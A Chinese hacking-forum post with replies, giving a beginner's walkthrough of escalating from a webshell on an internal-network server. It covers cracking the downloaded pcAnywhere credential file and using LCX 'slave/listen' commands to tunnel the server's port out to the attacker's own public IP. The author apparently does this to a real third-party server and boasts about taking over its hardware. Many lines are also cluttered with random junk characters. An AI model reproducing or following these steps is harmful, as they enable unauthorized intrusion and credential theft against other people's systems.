[原创文章] pcanywhere之内网提权 pcanywhere

huar

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。  X, v2 E; w- o, ?8 [
) F: P8 L5 v( r' D3 U- Q' F
提权方法：pcanywhere+LCX; [6 p8 [5 F* L

' K3 D9 a) z1 [% J获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。
% U+ a0 S& z+ k! B, s: |" i# B% J( `8 ?3 E, ^
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。3 l$ m# \8 b3 H; Y: }3 S
+ t* ], u& e' R  @, x
) Y5 u, g6 _$ N
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
4 S1 x) Y" c6 S* p' o% o0 Z# @2 |& x
) M6 p6 {; `1 y# X( Z6 M9 f8 |4 ~$ }/ _! z
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。4 J* a% S2 i+ V9 E0 d' s  \

5 c$ F% a/ l% l% E* E5 q; I8 k6 J9 k
! l# Q  }6 d$ B4 ~& o( X0 b' E5 `4 y. u* V% ?# ~+ g

2 `+ x$ R. h+ X- n, l  |3 Y由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
  L% M5 |" N: Y: g
8 ~# O& p1 e/ |5 m
  E6 F( @4 r+ [; s5 CLCX的用法再简单说下：
! ^: C+ @" r" J$ j- |
$ X- I, I5 e: M6 l/ q* q服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）% R) _) E1 L' g3 t& t

0 `* P' D- c5 g( @* A7 `9 o本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）  d3 ?* d" c  K+ E1 X
! w3 q- z$ X( G* }% t! g  K
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。0 Q7 R# ]" d/ u0 q
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
& ]! M& ~' o" M: M1 W$ r, p
# z1 ~: `$ R( o$ e4 P1 M5 p  C& w/ j6 T! s# Q1 c7 @9 ?
$ u; m6 D+ ~; p) v. ^. U

, R2 T. Q$ ^0 k/ ]) A呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。/ e/ e7 `0 G; ]

5 T' K; _0 h4 ^& B" {3 {, E. g' m# m' `4 N# h& ]4 l

9 D7 G" Y. w8 l4 X& Z4 N9 w% w
* }2 w$ [& x% b8 }7 D我们本地连接试试，输入我们刚破解的账号密码
0 n+ O! v! K) U0 b" P, J2 Z0 |4 `  s" c5 l, V

2 z1 d: s# U* ]' f* C呵呵``连接成功,服务器不错，又一个8核^︵^
1 |( I$ c6 T! {: N! s0 Y8 e' ~+ v" J0 n' g1 a- }4 L. n/ t' N

# h8 x, Y1 h/ c& Q
/ J/ {) a0 s. U4 L2 Z

柔肠寸断

不错不错。。。你的貌似一直都是内网服务器哈

huar

哎。。。。运气不佳```老碰见内网的。。。。

gassiori

八核的哟

柔肠寸断

顶起。。。。。。。。。

killadmin

但是我反弹后连接总是不成功,试着转发5632,5631一起,还是不行.